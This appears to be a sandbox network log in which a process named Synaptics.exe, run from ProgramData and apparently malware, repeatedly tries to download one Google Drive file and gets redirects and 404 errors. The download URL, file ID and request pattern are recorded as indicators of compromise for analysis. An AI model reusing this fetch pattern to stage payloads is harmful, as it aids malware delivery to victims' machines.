2024-08-05 10:00:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lCc_J0Zn2QYZiH5Vkog7WQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49824	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:47 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0
2024-08-05 10:00:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-rkCrxAoeFsyRdR9wM5YoyQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49825	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:47 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:48 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:48 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-QQtB8Q2dY5CV9MH1wFsBWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPbysH75zrGacBffbdhVZJXjNZ11JqLGozfLMJgv2YwnRIG9CniNUJdxYmSdADgQv5yYP8 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:48 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-05 10:00:48 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 42 66 57 32 69 38 71 70 4f 39 79 2d 72 6c 68 78 76 5f 64 5a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="dBfW2i8qpO9y-rlhxv_dZw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-05 10:00:48 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49826	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:48 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:48 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:48 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-MrLr0feq32OFrbf1oazauw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPnRx6Y_bhO9kKtPI80vfeKoCN3ibwFj8Mlhz_fAVZleDmBCdzH1MT_kahOrM0dqO8JXk11dK9gVw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:48 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-05 10:00:48 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 78 4e 6c 69 53 71 52 32 4e 77 68 36 71 36 67 65 6f 4b 7a 77 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="FxNliSqR2Nwh6q6geoKzwg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:48 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	49833	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:49 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:50 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:49 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-TeXvFnvHDYoAJHggKJgDvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nPgEzkLdFhEdWCalBREevMalC6ZiVM9n7jNdA0abpf4G7WXWDM6XPGbqTv9XttUBZlEme2u5UoOUQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:50 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-05 10:00:50 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 6d 47 75 45 2d 38 79 68 31 53 4b 36 36 47 65 65 52 4a 48 7a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="tmGuE-8yh1SK66GeeRJHzA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:50 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	49835	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:50 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0
2024-08-05 10:00:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-CZRGsuzshLA8QK2_TcfYLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	49834	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:50 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rgCy0OADalF9Ozovs0GbwYgY7EgFpP3YHQ5XwvdsCbn2EeisHQPXqSChhyD4L1OaELyrNYbPeP2Wqd2xpO9ZnhsWrE_wcPKBQ-_GkuUU29Gcdk7mRdjymR4S6GPDkRR-TwU4lLoBPFD8Do0OeajKPeS9dlE7RB8RiuH7PfUJOP0
2024-08-05 10:00:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-PGUvc92TUNObKPDq_hDdEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	49839	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:51 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-kU1zhO2Xjy1eS9TIXyeOoQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	49838	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:51 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:51 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:51 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-BaVTBsm8WsayJbPi_z5zpA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nOgCvd378vmqGctuoQ0Y3rnPbATom8Pz-CH16X4VXD-qOvillKG31bfPWGJI9Mq5GcDmGA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:51 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
